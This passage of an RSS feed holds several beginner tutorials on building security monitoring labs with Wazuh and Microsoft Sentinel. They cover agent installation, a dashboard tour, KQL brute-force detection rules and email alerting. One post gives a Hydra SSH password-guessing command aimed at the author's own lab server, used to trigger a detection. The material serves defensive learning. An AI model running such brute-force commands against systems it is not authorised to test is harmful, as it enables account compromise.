src="https://cdn-images-1.medium.com/max/1024/1*GI3mGOweYUOqC_5ncJYQqw.png" /></figure><p><strong>Events:</strong> Lists security alerts in real-time, labeling them with exact MITRE Technique IDs (e.g., T1110 for Brute Force).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KJbFS2te1xhtmDO8EgHZqw.png" /></figure><h4><strong>How it works?</strong></h4><p>Wazuh comes with built-in rulesets that natively assign MITRE IDs to incoming logs. As endpoints generate logs, Wazuh processes them, labels them with a MITRE ID, and populates the dashboard, turning raw alerts into structured threat intelligence.</p><p>Let’s see what MITER will displays, when a brute force attack executes. I will use Kali Linux and Hydra for attempt an intentionally brute force attack to my Ubuntu Server.</p><ol><li>Open Kali Linux and run the following command.<br><strong>hydra -l ubuntu -P custom_rockyou.txt ssh://192.168.1.101</strong></li></ol><p><strong>Note:<br></strong>ubuntu = target username<br>custom_rockyou.txt = file location of password list<br>-l = because I know target username (If you don’t know username, you can use -L and next file location of username list).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*olNJqjgxjZT9Gsq133Pvpg.png" /></figure><p>2. Now come to <strong>Wazuh dashboard</strong> and first check <strong>Threat Hunting &gt; Events</strong> section. You will see lots of failed authentication logs/events are generated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zNcKT2yEE4tLQv31tGVvsg.png" /></figure><p>3. Then go to <strong>MITER ATT&amp;CK</strong> <strong>&gt; Events </strong>section, and you will see Wazuh recognize this attack pattern and display as Credential Access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Eyv9BEA6dOXCdoyyYrfwkA.png" /></figure><p>4. You can explore other tabs also it will help you to know more details about attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*LJeOS2XE_muWvq45P06Wtg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*C37vCAT_RbZ9hmk8NXFeww.png" /></figure><h3>What’s Next?</h3><p>In the upcoming articles, I will move to Wazuh’s Endpoint Security feed.</p><p>If you’re following along, make sure to bookmark this series so you don’t miss the upcoming articles.</p><p>Thanks for reading, and I’ll see you in <strong>Wazuh Series #4: Endpoint Security Feed </strong>🚀</p><h3>Connect with Me</h3><p>If you enjoyed this article or have any questions, feel free to connect with me or follow my work:<br>💼 LinkedIn: https://www.linkedin.com/in/prpradhan13<br>💻 GitHub: https://https://github.com/prpradhan13<br>🌐 Portfolio: <a href="https://prprotfolio.netlify.app/">https://prprotfolio.netlify.app/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=97324c2de69f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Wazuh Series #2: Exploring the Wazuh Dashboard]]></title>
            <link>https://medium.com/@ppritiranjan7/wazuh-series-2-exploring-the-wazuh-dashboard-c79c9595c7a6?source=rss-b6d98434842f------2</link>
            <guid isPermaLink="false">https://medium.com/p/c79c9595c7a6</guid>
            <category><![CDATA[wazuh]]></category>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[xdr]]></category>
            <dc:creator><![CDATA[Pritiranjan Pradhan]]></dc:creator>
            <pubDate>Thu, 16 Jul 2026 02:31:01 GMT</pubDate>
            <atom:updated>2026-07-16T02:31:01.718Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*87ka8SlHObcvpjDQa1qo5Q.png" /></figure><h3><strong>Explore Agent Dashboard</strong></h3><p>Let’s explore our agent’s dashboard and I am very excited to see my system security insights.</p><p>1. On Wazuh dashboard click on <strong>Active </strong>(top left corner Agent summary box).</p><p>2. Select an agent, I am going to see my <strong>Linux</strong> agent/system, you can choose yours.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qTckaajAoPQ0vG1PYwRUQA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5ObCbkZG2kBJPhFxidh3-g.png" /></figure><p>Ok, now we are in our agent dashboard, let’s understand what we are viewing.</p><h3><strong>Agent Information (Top Section)</strong></h3><p>This gives us basic information about the monitored endpoint.</p><p><strong>ID: </strong>This is basically our agent ID</p><p><strong>Status: </strong>Active means the agent is communicating successfully</p><p><strong>IP address: </strong>Current IP of the Ubuntu machine</p><p><strong>Version: </strong>Wazuh Agent version</p><p><strong>Group: </strong>Means agent belongs to which group</p><p><strong>Cluster Node: </strong>It says which Manager node handling this agent</p><p><strong>Registration Date: </strong>When agent was first added</p><p><strong>Last Keep Alive:</strong> Last heartbeat received from the agent</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M0Yc8bsqDzGIJXaJmErEAg.png" /></figure><h3><strong>System Inventory</strong></h3><p>This is kind of a storage (store data such as OS info, installed packages, etc.); every agent has their <strong>System Inventory. </strong>Data collected by <strong>Syscollector </strong>(it is an agent module that builds a centralized <a href="https://documentation.wazuh.com/current/user-manual/capabilities/system-inventory/index.html">System inventory</a> of our system/endpiont).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OY23Tr95egF9yp6SV9e-Ug.png" /></figure><p>If you click on that blue icon, you can see other information collected by syscollector (which is very useful for asset management), like Installed software, Packages, Ports, Network Interfaces, Hardware, Users, Processes, etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A2QL3KqZaHZCqxm3vB6c_w.png" /></figure><h3><strong>Events Count Evolution</strong></h3><p>Here you can see, how many security events Wazuh received over time. If suddenly the graph spikes like 5, 8, 12, 3500, 7000,…. That means may be Brute force attack, Malware activity, vulnerability scan, file modifications, policy scan, log flood, etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*73NbYWxr9Mo7--mcV8pc9A.png" /></figure><h3><strong>MITRE ATT&amp;CK Mapping</strong></h3><p>This is one of Wazuh’s best features and my favorite one 😊. It maps alerts to MITRE ATT&amp;CK tactics.</p><p>See here in our dashboard shows:</p><p>Defense Evasion -&gt; 9</p><p>Privilege Escalation -&gt; 8 …</p><p>This doesn’t necessarily mean you’re under attack. Many configuration checks and detections are mapped to MITRE techniques.</p><p>For example,</p><p>sudo command executed -&gt; maps to Privilege Escalation</p><p>SSH Brute Force -&gt; maps to Credential Access</p><p>File hidden -&gt; maps to Defense Evasion</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*zPoZwhkTS40z5uZmIHxZXQ.png" /></figure><p>You can see more features/information on MITRE ATT&amp;CK provided by Wazuh, by clicking on that small blue icon.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yVVgxt_1C1l7SDPkM4UO3Q.png" /></figure><h3><strong>Compliance</strong></h3><p>Here I currently selected: <strong>PCI DSS</strong> (Payment Card Industry Data Security Standard is a global information security framework designed to ensure that all companies that accept, process, store, or transmit credit card information maintain a secure environment to prevent data breaches and fraud)</p><p>Wazuh checks whether your machine follows PCI-DSS compliance requirements. Wazuh also checks HIPAA (Health Insurance Portability and Accountability Act), GDPR (General Data Protection Regulation), NIST (National Institute of Standards and Technology), CIS (Center for Internet Security)</p><p>Each colored section represents how many rules belong to each PCI requirement. As we can see 10.2.5, 10.6.1, etc, these correspond to specific PCI DSS controls. Organizations handling payment card data use these reports during audits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*WQ9UC5I7PleMCTu4nwWuTA.png" /></figure><h3><strong>Vulnerability Detection</strong></h3><p>This is our vulnerability scan result.</p><p>I currently have,</p><p>Critical : 55</p><p>High : 698</p><p>Medium : 937</p><p>Low : 76</p><p>This doesn’t mean I have 698 different vulnerabilities. Many packages contain multiple CVEs, for example, OpenSSL has CVE-2024–1234, CVE-2024–5678, CVE-2025–0001. One package can contribute dozens of findings.</p><p>When I saw this very first time, although it’s in my virtual environment still I literally shocked! Then I simple update my Ubuntu server and the numbers decrease significantly.</p><h4><strong>Top 5 Vulnerable Packages</strong></h4><p>Here you can see which packages contain the highest number of vulnerabilities. As you can see in following image, linux-image-6.17.0–22-generic has 1587 findings. This usually happens because a Linux kernel has many associated CVEs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*KCv6rb8duHnHiFXJxEK1LQ.png" /></figure><h3><strong>Security Configuration Assessment (SCA)</strong></h3><p>This is also of my favorite Wazuh features 😊. This checks whether the operating system follows security best practices.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*wb5hwIXGAGgOzGGTVWZVNw.png" /></figure><p>The above image tells, which policy used (CIS Ubuntu Linux 24.04 Benchmark), 111 security recommendations are correctly configured, 126 recommendations are not. This is extremely useful for hardening servers.</p><p>126 failed checks may be because of Password policy too weak (I intentionally set a very weak pw), Root SSH login enabled, Firewall disabled, Auditd disabled, File permissions incorrect, No automatic updates, Weak SSH configuration, etc.</p><h3><strong>FIM (File Integrity Monitoring)</strong></h3><p>It shows, currently No recent events, this means no monitored files have changed. if someone modifies a monitored file like, /etc/passwd, /etc/shadow, /etc/ssh/sshd_config.</p><p>You can also set your custom file/directory for monitor. We will see this in future series how to set file/directory and generate alerts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nxPn2UZOrk6syk0W_M1zAw.png" /></figure><h3>What’s Next?</h3><p>In the upcoming articles, I will move, how Wazuh detects threats, monitors system activity, analyzes logs, and helps security teams investigate potential incidents.</p><p>If you’re following along, make sure to bookmark this series so you don’t miss the upcoming articles.</p><p>Thanks for reading, and I’ll see you in <strong>Wazuh Series #3: Threat Intelligence Feed</strong>! 🚀</p><h3>Connect with Me</h3><p>If you enjoyed this article or have any questions, feel free to connect with me or follow my work:</p><p>💼 <strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/prpradhan13">https://www.linkedin.com/in/prpradhan13</a></p><p>💻 <strong>GitHub:</strong> <a href="https://github.com/your-github-username">https://</a><a href="https://github.com/prpradhan13">https://github.com/prpradhan13</a></p><p>🌐 <strong>Portfolio:</strong> <a href="https://prprotfolio.netlify.app/">https://prprotfolio.netlify.app</a>/</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c79c9595c7a6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Wazuh Series #1: Installing Wazuh and Adding Windows & Ubuntu Agents]]></title>
            <link>https://medium.com/@ppritiranjan7/wazuh-series-1-installing-wazuh-and-adding-windows-ubuntu-agents-7eb4529a6900?source=rss-b6d98434842f------2</link>
            <guid isPermaLink="false">https://medium.com/p/7eb4529a6900</guid>
            <category><![CDATA[wazuh]]></category>
            <category><![CDATA[xdr]]></category>
            <category><![CDATA[siem]]></category>
            <dc:creator><![CDATA[Pritiranjan Pradhan]]></dc:creator>
            <pubDate>Mon, 13 Jul 2026 02:31:00 GMT</pubDate>
            <atom:updated>2026-07-13T02:31:00.922Z</atom:updated>
            <content:encoded><![CDATA[<h4>A step-by-step guide to installing Wazuh, deploying Windows and Ubuntu agents, and building your first open-source SIEM lab.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xvzUwVWJrA8CANw2UFokYg.png" /></figure><h3>Wazuh Server</h3><p>The Wazuh server is the central component of the open-source XDR and SIEM platform. It analyzes data collected by endpoints, detects threats, and manages agents. It includes the Wazuh manager and Filebeat, which forwards alerts to the Wazuh indexer (highly scalable, full-text search and analytics engine of the Wazuh platform).</p><h4>Server Responsibilities</h4><ul><li>Log Analysis &amp; Event Correlation</li><li>Centralized Management</li><li>Threat Intelligence &amp; Compliance</li></ul><h4>Step 1: Initialization</h4><ol><li>Download and Setup wazuh ova file in your virtual environment ( <a href="https://documentation.wazuh.com/current/deployment-options/virtual-machine/virtual-machine.html">https://documentation.wazuh.com/current/deployment-options/virtual-machine/virtual-machine.html</a> I followed this documentation for setup).</li><li>Once installed check IP address.</li><li>I get ssh access of wazuh manager from windows system (if you access from windows, make sure ssh client and server activated in windows VM), this is only for check connection because I will open wazuh dashboard from windows VM(also you can get access it from an Ubuntu machine).</li><li>Login into wazuh dashboard (default username: admin &amp; pw: admin)</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*aowNMSd2eRYPu2mwS3k-wA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/462/1*cfaN9lvtp-_t2ZPb3ZRekw.png" /></figure><h4>Step 2: Wazuh Agent for Windows</h4><ol><li>In wazuh dashboard click on <strong>Deploy agent</strong>.</li><li>Fill up details:<br>Select the package to download and install on your system:<strong> </strong>Windows<br>Server address: Your wazuh manager IP address<br>Assign an agent name: anything as you prefer (mine is windowsagent)</li><li>Copy the command and run it in Powershell (e.g, Invoke-WebRequest -Uri <a href="https://packages.wazuh.com/4.x/windows/wazuh-agent-4.14.4-1.msi">https://packages.wazuh.com/4.x/windows/wazuh-agent-4.14.4-1.msi</a> -OutFile $env:tmp\wazuh-agent; msiexec.exe /i $env:tmp\wazuh-agent /q WAZUH_MANAGER=’192.168.1.101&#39; WAZUH_AGENT_NAME=’windowsagent’)</li><li>Once installed run PowerShell as admin and execute this command <strong>NET START Wazuh</strong>.</li><li>Go back to wazuh dashboard and click on Back to agent list button, you will see your agent deplied.</li></ol><p>If agent not depoly or it shows Active (0), then</p><ol><li>In your windows VM go to <strong>Notpad </strong>run as Administrator, open agent conf file (C:\Program Files (x86)\ossec-agent\ossec.conf), and check:<br>&lt;server&gt;<br>&lt;address&gt;&lt;wazuh_manager_ip&gt;&lt;/address&gt;<br>…<br>&lt;/server&gt;<br>//you can also change agent name<br>&lt;agent_name&gt; agent_name&lt;/agent_name&gt;</li><li>Correct your wazuh server/manager ip and save the file.</li><li>Once saved open PowerShell as Admin and run: <br>Restart-Service -Name wazuh</li><li>You can also restart the wazuh-manager (sudo systemctl restart wazuh-manager), after restart manager also check status (sudo systemctl status wazuh-manager)</li><li>Now go back to wazuh dashboard your agent will be visible there.</li></ol><p>If still not visible,</p><ol><li>Go to wazuh manager console run,<br><strong>sudo var/ossec/bin/manage_agents</strong></li><li>See the Lists already added agents, if list is empty then your windows agent not added to server.</li><li>Add an agent, enter details, then again check List (you can see newly created agent)</li><li>Go to wazuh dashboard (https://&lt;wazuh-manager-ip&gt;/app /endpoints-summary#/agents-preview), you can see the newly created agent and also check status.</li></ol><p>If status is never connected then,</p><ol><li>In your windows VM go to <strong>Notpad </strong>run as Administrator, open agent conf file (C:\Program Files (x86)\ossec-agent\ossec.conf), and check:<br><strong>&lt;server&gt;<br>&lt;address&gt;&lt;wazuh_manager_ip&gt;&lt;/address&gt;<br>…<br>&lt;/server&gt;<br>//you can also change agent name<br>&lt;agent_name&gt; agent_name&lt;/agent_name&gt;</strong></li><li>Correct your wazuh server/manager ip and save the file.</li><li>Once saved open PowerShell as Admin and run: <br><strong>Restart-Service -Name wazuh</strong></li><li>Now go back to wazuh manager console check <strong>agent status: <br>sudo /var/ossec/bin/agent_control -i &lt;agent_id&gt; | grep Status </strong><br>You should see status active. Also check in dashboard, you can probably see your agent status active.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mn0pJSE1agZS2EvPhZYyJw.png" /></figure><h4>Step 3: Wazuh Agent for Ubuntu</h4><p>For Ubuntu follow the same instructions as Windows. Just change system:<strong> </strong>Windows to system:<strong> </strong>Linux (mine is ARM), execute copied code, then Enable and start the Wazuh agent service (commands are provided on that agent deploy page).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fxi6Cfx-3qeNfY9Yrd3n2g.png" /></figure><h3>What’s Next?</h3><p>In the upcoming articles, I will move beyond installation and explore the agent dashboard.</p><p>If you’re following along, make sure to bookmark this series so you don’t miss the upcoming articles.</p><p>Thanks for reading, and I’ll see you in <strong>Wazuh Series #2: Exploring the Wazuh Dashboard!</strong> 🚀</p><h3>Connect with Me</h3><p>If you enjoyed this article or have any questions, feel free to connect with me or follow my work:</p><p>💼 <strong>LinkedIn:</strong> https://www.linkedin.com/in/prpradhan13</p><p>💻 <strong>GitHub:</strong> <a href="https://github.com/your-github-username">https://</a><a href="https://github.com/prpradhan13">https://github.com/prpradhan13</a></p><p>🌐 <strong>Portfolio:</strong> <a href="https://prprotfolio.netlify.app/">https://prprotfolio.netlify.app</a>/</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7eb4529a6900" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Build an Azure Security Monitoring Lab with Microsoft Sentinel and Microsoft Entra ID]]></title>
            <link>https://medium.com/@ppritiranjan7/how-to-build-an-azure-security-monitoring-lab-with-microsoft-sentinel-and-microsoft-entra-id-722c97433728?source=rss-b6d98434842f------2</link>
            <guid isPermaLink="false">https://medium.com/p/722c97433728</guid>
            <category><![CDATA[microsoft-sentinel]]></category>
            <category><![CDATA[azure]]></category>
            <category><![CDATA[cloud-security]]></category>
            <dc:creator><![CDATA[Pritiranjan Pradhan]]></dc:creator>
            <pubDate>Fri, 03 Jul 2026 17:01:02 GMT</pubDate>
            <atom:updated>2026-07-03T17:01:02.891Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YFXFzcF0JaQqdQMxZor0QQ.png" /></figure><h3>Intro</h3><p>Cloud security is more than deploying virtual machines — it’s about continuously monitoring your environment, detecting suspicious activities, and responding before they become security incidents.</p><p>In this article, I’ll build a simple Azure security monitoring lab from scratch. We’ll deploy a virtual machine in Microsoft Azure, integrate Microsoft Entra ID and Microsoft Sentinel, collect important security logs such as Sign-in Logs and Audit Logs, create analytics rules to detect suspicious activities, and configure automated email notifications whenever an alert is triggered.</p><p>This project is designed for students, cybersecurity beginners, and anyone preparing for SOC Analyst or Cloud Security roles. By the end of this guide, you’ll have a hands-on understanding of how Azure security monitoring works and how security teams use Microsoft Sentinel to detect and respond to potential threats in real time.</p><h3>Step 1: Deploy Azure VMs</h3><ol><li>Go to <strong>Azure portal &gt; Virtual Machines &gt; Create</strong></li><li>Choose your <strong>Subscription</strong>(if you are using student edition you have to change because azure VM requires subscription without any spending limit or temporary payment method) and <strong>Resource group</strong>(if do not have then create one).</li><li>In Instance details section, give vm a name, select a Region(e.g, Central India), Zone options: self-seleted zone, Availability Zone: Zone 3(for central India some time Zone 1 &amp; 2 not available), Image: [Windows 11 pro, version 25H2 — x64 Gen2], for rest you can go as default.</li><li>Fill out <strong>Administrator account</strong> details as your preference.</li><li>Check the <strong>Licensing </strong>box.</li><li>Click <strong>Review + create</strong></li><li>After VM creation is completed, go to that VM &gt; Security &gt; Identity</li><li>Turn on the status, then save.</li></ol><h3>Step 2: Create a Log Analytics Workspace</h3><p>Azure Log Analytics Workspace is a centralized, logical data store where you collect and analyze telemetry, performance metrics, and log data from your cloud and on-premises environments. It serves as the foundational data repository for Azure Monitor Logs, Microsoft Sentinel, and Microsoft Defender for Cloud.</p><ol><li>Search Log Analytics Workspace, create a new Workspace</li><li>Fill out required fields (I recommend select the same Resource group and Region as your VM, so during log analysis you wouldn’t face any conflict).</li><li>Click Review + Create &gt; Create.</li></ol><h3><strong>Step 3: Microsoft Sentinel</strong></h3><p>It is a <strong>Cloud-native</strong> SIEM and SOAR platform.</p><p><strong>Cloud-native</strong> means a software designed specifically to live and run in a cloud computing environment.</p><ol><li>Search <strong>Microsoft Sentinel &gt; Create &gt; Select recently created Workspace</strong></li><li>Click <strong>Add</strong>. Then you will see <strong>Microsoft Sentinel page.</strong></li><li>Wait for a bit, then you will see a message “This page was moved to Defender portal, please connect your workspace to the Defender portal”. Click provided <strong>Defender portal link</strong>.</li><li>On <strong>Defender portal </strong>first verify your Workspace status connected(if navigation slider is “hide” then turn it to “show” on left side bar).</li><li><strong>Defender portal &gt; Microsoft Sentinel &gt; Content hub.</strong></li><li>Then on top right corner you can see workspace(a box icon), verify your <strong>Workspace </strong>is selected(if you have multiple workspaces, then some time newly/recently created workspace not visible, then you have to wait or you can close defender portal and refresh azure portal and visit again).</li><li>In Content hub search bar, search for <strong>Mirosoft entra id &gt; Install.</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M9LYF-952bNgF_UWvm_p5Q.png" /></figure><p>8. Now go to <strong>Microsoft Sentinel &gt; Configuration &gt; Data connectors (</strong>top right corner verify correct workspace selected<strong>)&gt; Microsoft Entra ID &gt; Open connector page</strong></p><p>9. Under <strong>Configuration </strong>section, check boxes like Sign-In Logs, Audit Logs, Provisioning Logs, User Risk Events. Then <strong>Apply Changes</strong>.</p><h3>Step 4: Setup Windows Security Events via AMA</h3><ol><li>On <strong>Defender portal</strong>, search Windows Security Events.</li><li>Select the solution, click <strong>Install</strong> at the bottom right, and wait a moment for it to complete.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HWIM10MCtjiQKEEYTTJiWw.png" /></figure><p>3. Once installed, navigate to <strong>Microsoft Sentinel &gt; Data connectors.</strong></p><p>4. Select <strong>Windows Security Events via AMA</strong> and click <strong>Open connector page</strong>.</p><p>5. Click on <strong>Create data collection rule</strong>.</p><p>6. <strong>Basics:</strong> Give the rule a name (e.g., dcr-corporate-vms) and select your resource group, <strong>Resources</strong>: select your VM, click <strong>Collect: </strong>Select the tier of logs you want to stream For this project, I choose <strong>Common</strong> (this includes critical events like Event ID 4624 for successful logins and 4625 for failed logins).</p><p>7. Then click <strong>Review + Create.</strong></p><h3>Step 4: Verify log flow</h3><ol><li>Go to your VM, then select <strong>Connect, </strong>copy VM IP address.</li><li>In your local system open <strong>Remote Desktop</strong>, Enter copied IP address, VM’s username and password.</li><li>Once logged in, lock the screen (windows VM screen) and enter wrong password quickly for 4 to 5 time for generate some failed logs.</li><li>Now go back to <strong>Azure portal &gt; Microsoft Sentinel &gt; Select Workspace &gt; Logs.</strong></li><li>After that Close the queries splash screen if it appears. Select <strong>KQL mode</strong>(on right hand side).</li><li>Enter the following query, make sure you have correct workspace selected.</li></ol><pre>SecurityEvent<br>| where Computer == &quot;testvm2&quot; and EventID == 4625</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S2mVx4QoAaAnHEC09q5Nkw.png" /></figure><p>Finally logs are flow correctly, but we don’t want to manually pressing “Run” on that query 24/7. So, we are going to take your raw KQL query and upgrade it into an automated <strong>Analytics Rule</strong>. This rule will run in the background on a schedule. If it detects a cluster of failed logins (a brute-force attack), it will automatically generate an official <strong>Incident</strong> on your Sentinel dashboard.</p><h3>Step 5: Automated <strong>Analytics Rule</strong></h3><ol><li>Go to <strong>Defender portal &gt; Microsoft Sentinel &gt; Configuration &gt; Analytics</strong>(make sure correct workspace selected).</li><li>Then click <strong>+ Create</strong> and select <strong>Scheduled query rule</strong>.</li><li>General tab, <strong>Name:</strong> Potential RDP Brute Force Attack, <strong>Severity:</strong> Medium or High, <strong>MITER ATT@CK:</strong> Credential Access</li><li>Set Rule Logic Tab, <br><strong>Rule query:</strong> paste the following query</li></ol><pre>SecurityEvent<br>| where EventID == 4625<br>| summarize FailedLogonCount = count() by Computer, IpAddress, Account<br>| where FailedLogonCount &gt;= 5</pre><p><strong>5. Alert enhancement, Entity mapping<br></strong><em>Add new entity -&gt; </em><strong><em>Account</em></strong><em> -&gt; select Account<br>Add new entity -&gt; </em><strong><em>Host</em></strong><em> -&gt; select Computer<br>Add new entity -&gt; </em><strong><em>IP</em></strong><em> -&gt; select IpAddress</em></p><p>6. <strong>Query scheduling: </strong>Set it to run every 5 minutes and lookup data from the last 5 minutes.</p><p>7. Click <strong>Next</strong> all the way through the other tabs (leave them as default for now). Click <strong>Save</strong> on the Review screen.</p><p>8. RDP into your Windows VM again.</p><p>9. Intentionally fail the login password <strong>6 or 7 times</strong> in a row quickly.</p><p>10. Go back to <strong>Defender portal &gt; Incidents</strong>(left side bar). Wait about 5 minutes, hit refresh, and watch your custom security incident appear on the board!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W2FZKra-S6hIMI-Sj-z5gQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YeyfJMGezcSiH3CbO_VNLQ.png" /></figure><h3>Step 6: Build a Custom Playbook</h3><ol><li>Go to <strong>Defender portal &gt; Microsoft Sentinel &gt; Configuration &gt;</strong> <strong>Automation</strong> page.</li><li>Click <strong>+ Create</strong> at the top right &gt; <strong>Logic App Playbook &gt;</strong> select <strong>Playbook with incident trigger</strong>.</li><li><strong>Name</strong>: Email-SOC-Alert, select resource group and click <strong>Next </strong>then <strong>Create Playbook.</strong></li></ol><h3>Step 7: Logic App</h3><ol><li>Once created, go back to <strong>Azure portal &gt; </strong>search <strong>Logic App</strong> &gt; select recently created playbook.</li><li>Selected playbook &gt; Development tools &gt; Logic app designer.</li><li>The first box (Microsoft Sentinel incident) is already set. Click <strong>+ New Step</strong>.</li><li>Search for <strong>Send an email (V2). </strong>I select Outlook.com send an email (V2), because i face errors with Gmail due to due to Google’s data security and privacy policies(you can read about this on, <a href="https://learn.microsoft.com/en-us/azure/connectors/connectors-google-data-security-privacy-policy">https://learn.microsoft.com/en-us/azure/connectors/connectors-google-data-security-privacy-policy</a>).</li><li>Then sign in with your account.</li><li>Then fill out fields:<br><strong>To:</strong> Your email address.<br><strong>Subject:</strong> Critical Brute Force Attack Detected!<br><strong>Body: </strong>you can see in screenshots how I was use dynamic content <strong><br></strong>Hello,<br>Microsoft Sentinel has detected a potential RDP brute-force attack on your lab infrastructure.<br>Incident Details:<br>- Alert Name: [Dynamic Content: Incident Title]<br>- Severity: [Dynamic Content: Incident Severity]<br>- Target Host: [Dynamic Content: Host Name]<br>- Attacker IP: [Dynamic Content: IP Address]<br>- Time Detected: [Dynamic Content: Incident Creation Time]<br>Action Required:<br>Please review the incident immediately in the Azure Portal to determine if network isolation or an IP block is necessary. <br>View Incident Here: [Dynamic Content: Incident URL]<br>— Automated SOC Lab Alert System</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*dmFfkIKgsGwPlxhbPlK2ug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*_7IPHgEdWkgT5JfBkCYxEw.png" /></figure><p>10. After that click on <strong>Publish.</strong></p><h3>Step 8: Automated Response</h3><ol><li>Now go back to <strong>Defender portal &gt; Microsoft Sentinel &gt; Configuration &gt; Analytics</strong>(make sure correct workspace selected)<strong>.</strong></li><li>Select your <strong>Rule </strong>where you want to add <strong>Automation, </strong>then click <strong>Edit</strong>.</li><li>Go all the way <strong>Automated response &gt; Add new.</strong></li><li>Fill out required fields:<br>Automation Rule name: anything (e.g, automated-email-send)<br>Action: Run playbook and choose your new Email-SOC-Alert playbook. If it disabled, then click on Manage playbook permissions, and select your resource group then apply. After that reopen/refresh Defender portal and go to that previous stage again.</li><li>Click <strong>Apply, </strong>then review + create and finally <strong>Save</strong>.</li><li>Again intentionally fail the login password <strong>6 or 7 times</strong> in a row quickly.</li><li>Wait some time for incident generate.</li><li>Once incident generated you will receive email(check junk emails).</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*fjJ93CUw_7rLzismQUhusQ.png" /></figure><h3>Conclusion</h3><p>Building a cloud environment is only the first step — monitoring and securing it is what truly matters. In this project, we deployed an Azure Virtual Machine, collected security logs using Microsoft Entra ID and Microsoft Sentinel, created analytics rules to detect suspicious activities, and configured automated email alerts for faster incident response.</p><p>Although this is a basic security monitoring lab, it demonstrates the core workflow followed by Security Operations Centers (SOCs): collecting logs, detecting threats, generating alerts, and responding to incidents. These hands-on skills provide a solid foundation for anyone preparing for SOC Analyst, Cloud Security, or Security Engineer roles.</p><p>I hope this guide helps you build your own Azure security lab and gain practical experience with Microsoft Sentinel. If you found this article useful, feel free to share it with others, and let me know if you’d like to see more hands-on cybersecurity projects in future articles.</p><p>Happy learning, and stay secure! 🔐</p><h3>Connect with Me</h3><p>If you enjoyed this article or have any questions, feel free to connect with me or follow my work:</p><p>💼 <strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/your-linkedin-username">https://</a>www.linkedin.com/in/prpradhan13</p><p>💻 <strong>GitHub:</strong> <a href="https://github.com/prpradhan13">https://github.com/prpradhan13</a></p><p>🌐 <strong>Portfolio:</strong> <a href="https://prprotfolio.netlify.app/">https://your-portfolio-website.com</a></p><p>I’m passionate about <strong>Full-Stack Development</strong>, <strong>Cloud Computing</strong>, and <strong>Cybersecurity</strong>, and I’ll be sharing more articles, tutorials, and hands-on projects on these topics. If you’d like to follow along, I’d love to connect!</p><p>Happy coding, and see you in the next article! 🚀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=722c97433728" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>